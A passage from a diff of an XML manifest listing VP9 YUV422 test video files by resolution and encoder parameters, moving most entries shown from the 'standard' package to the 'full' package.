   <entry key="vp9/yuv422/10bit/resolution/crowd_640x358p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32808,width=640,height=358,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32808,width=640,height=358,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_640x360p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32413,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32413,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_640x480p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48448,width=640,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48448,width=640,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_640x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64454,width=640,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64454,width=640,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_640x848p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81683,width=640,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81683,width=640,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_640x960p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=97194,width=640,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=97194,width=640,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_64x1080p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18806,width=64,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18806,width=64,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_64x1280p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19011,width=64,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19011,width=64,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_64x1920p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16396,width=64,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16396,width=64,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_64x48p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20608,width=64,height=48,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20608,width=64,height=48,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_64x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21350,width=64,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21350,width=64,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_64x720p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17616,width=64,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17616,width=64,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_64x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24389,width=64,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24389,width=64,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_704x528p50f32_700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=56342,width=704,height=528,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=56342,width=704,height=528,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_704x576p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=63681,width=704,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=63681,width=704,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_704x704p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72549,width=704,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72549,width=704,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_720x1280p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=155600,width=720,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=155600,width=720,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_720x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21453,width=720,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21453,width=720,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_720x480p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48514,width=720,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48514,width=720,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_720x576p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=63727,width=720,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=63727,width=720,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_720x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20883,width=720,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20883,width=720,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_720x720p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80599,width=720,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80599,width=720,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_720x960p50f32_1300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=105900,width=720,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=105900,width=720,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_72x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22504,width=72,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22504,width=72,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_72x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24025,width=72,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24025,width=72,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_7680x4320p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2249041,width=7680,height=4320,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33837,13 +33837,13 @@
     <value>mime=video/x-vnd.on2.vp9,size=2521426,width=7680,height=7680,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_768x1024p50f32_1500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=122114,width=768,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=122114,width=768,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_800x600p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72192,width=800,height=600,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72192,width=800,height=600,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_800x800p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=99192,width=800,height=800,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=99192,width=800,height=800,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_8192x4608p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3093362,width=8192,height=4608,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33852,49 +33852,49 @@
     <value>mime=video/x-vnd.on2.vp9,size=2516953,width=8192,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_848x480p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=63942,width=848,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=63942,width=848,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_848x640p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=79782,width=848,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=79782,width=848,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_848x848p50f32_1400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=117110,width=848,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=117110,width=848,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_8x8p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=3177,width=8,height=8,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=3177,width=8,height=8,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_960x1280p50f32_2400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=209647,width=960,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=209647,width=960,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_960x1440p50f32_2700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=235853,width=960,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=235853,width=960,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_960x640p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=96826,width=960,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=96826,width=960,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_960x720p50f32_1300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=104034,width=960,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=104034,width=960,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_960x960p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=148067,width=960,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=148067,width=960,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_96x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21688,width=96,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21688,width=96,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_96x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21779,width=96,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21779,width=96,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_96x176p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21384,width=96,height=176,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21384,width=96,height=176,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_96x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23276,width=96,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23276,width=96,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_96x72p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21597,width=96,height=72,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21597,width=96,height=72,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_96x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23894,width=96,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23894,width=96,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/bitrate/crowd_1280x720p24f300_3000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=5048744,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33987,112 +33987,112 @@
     <value>mime=video/x-vnd.on2.vp9,size=1833056,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160725,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160725,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160511,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160511,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160442,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160442,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160511,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160511,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160496,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160496,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160511,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160511,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=158451,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=158451,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159412,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159412,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160688,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160688,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160516,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160516,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160550,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160550,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160660,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160660,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160735,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160735,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160584,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160584,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160516,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160516,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160516,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160516,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=162674,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=162674,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=166524,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=166524,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160230,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=136654,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=136654,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160562,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163453,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163453,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_keyFrmOnly_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=740723,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=740723,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_lossless_1x4.webm">
